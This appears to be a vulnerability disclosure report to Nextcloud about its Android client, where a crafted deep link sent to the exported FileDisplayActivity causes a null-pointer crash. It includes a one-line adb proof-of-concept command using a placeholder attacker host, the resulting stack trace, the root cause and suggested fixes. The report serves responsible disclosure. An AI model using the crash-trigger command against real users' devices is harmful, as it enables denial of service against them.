Nextcloud · Report #3399016
Improper input validation On Exported deep-link handler crashes `FileDisplayActivity` on crafted external URL — Denial-of-Service
How it was found
Product / Package
com.nextcloud.client
Component
com.owncloud.android.ui.activity.FileDisplayActivity (exported, multiple VIEW intent-filters with wildcard host)
Severity Medium — Denial of Service (app crash). Potential for higher impact if authenticated fetch occurs on other codepaths.
Summary
Improper input validation of external deep-link data causes a null dereference in FileDisplayActivity. This results in an unhandled NullPointerException and application crash when the exported deep-link is invoked. An attacker-controlled link or malicious app can trigger this behavior.
PoC (repro steps)
- On a device with the app installed:
adb shell am start -a android.intent.action.VIEW \
-d "https://attacker.example.com/f/abcdef" \
-n com.nextcloud.client/com.owncloud.android.ui.activity.FileDisplayActivity
- Observe that the app crashes ("App has stopped"). And Show this logs.
Observed logs (excerpt)
Java
Exception in thread "main" java.lang.RuntimeException: Unable to start activity ComponentInfo{com.nextcloud.client/com.owncloud.android.ui.activity.FileDisplayActivity}: java.lang.NullPointerException: Attempt to invoke interface method 'java.lang.String com.nextcloud.client.account.User.getAccountName()' on a null object reference
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2974)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3059)
at android.app.ActivityThread.-wrap11(Unknown Source:0)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1724)
at android.os.Handler.dispatchMessage(Handler.java:106)
at android.os.Looper.loop(Looper.java:164)
at android.app.ActivityThread.main(ActivityThread.java:7000)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:441)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1408)
Caused by: Exception in thread "main" java.lang.NullPointerException: Attempt to invoke interface method 'java.lang.String com.nextcloud.client.account.User.getAccountName()' on a null object reference
at com.owncloud.android.ui.activity.FileDisplayActivity.onStart(FileDisplayActivity.kt:2784)
at android.app.Instrumentation.callActivityOnStart(Instrumentation.java:1342)
at android.app.Activity.performStart(Activity.java:7278)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2937)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:3059)
at android.app.ActivityThread.-wrap11(Unknown Source:0)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1724)
at android.os.Handler.dispatchMessage(Handler.java:106)
at android.os.Looper.loop(Looper.java:164)
at android.app.ActivityThread.main(ActivityThread.java:7000)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:441)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:1408)
### App information
* ID: com.nextcloud.client
* Version: 30340090
* Build flavor: generic
### Device information
* Brand: samsung
* Device: gtaxllte
* Model: Model
* Id: M1AJQ
* Product: gtaxlltexx
### Firmware
* SDK: 27
* Release: 8.1.0
* Incremental: Number
Device / App details
- App ID:
com.nextcloud.client - Version: 30340090 (reported)
- Device: Samsung SM-T585 (Android 8.1.0)
{F4930729}
Impact
- Any app or web link can trigger an exported deep-link handler which dereferences a null user object → application crash (Denial-of-Service).
- Because intent-filters allow wildcard hosts, there is additional risk that other crafted URLs could cause authenticated requests, SSRF, or content injection in other codepaths. (Not observed in this PoC — crash occurs early.)
Root cause
Improper input handling: the activity assumes a non-null User object when processing an external intent and does not validate inputs or the presence of account context before calling getAccountName(). This leads to improper error handling and application crash.
Reproduction checklist
- Reproducible on device with app installed.
- Command above reproduces crash consistently.
- Attach full
adb logcat -doutput for triage.
Recommended remediation (developer text)
- Null-check the current user before using it:
val user = getCurrentUserProvider().getCurrentUser().blockingGet()
if (user == null) {
Log.w(TAG, "Deep link received but no user logged in; ignoring deep link or prompting login")
return
}
- Validate and sanitize deep-link input: remove
host="*"and use an explicit allowlist of domains. Validateintent.dataand path patterns before processing. - Avoid automatic authenticated fetches of arbitrary external URLs. If fetch is required, only fetch from allowlisted hosts, do not forward user credentials to arbitrary domains, and prevent redirects to internal addresses (RFC1918 / link-local / metadata endpoints).
- Fail gracefully on malformed/unexpected intents (log and return instead of throwing).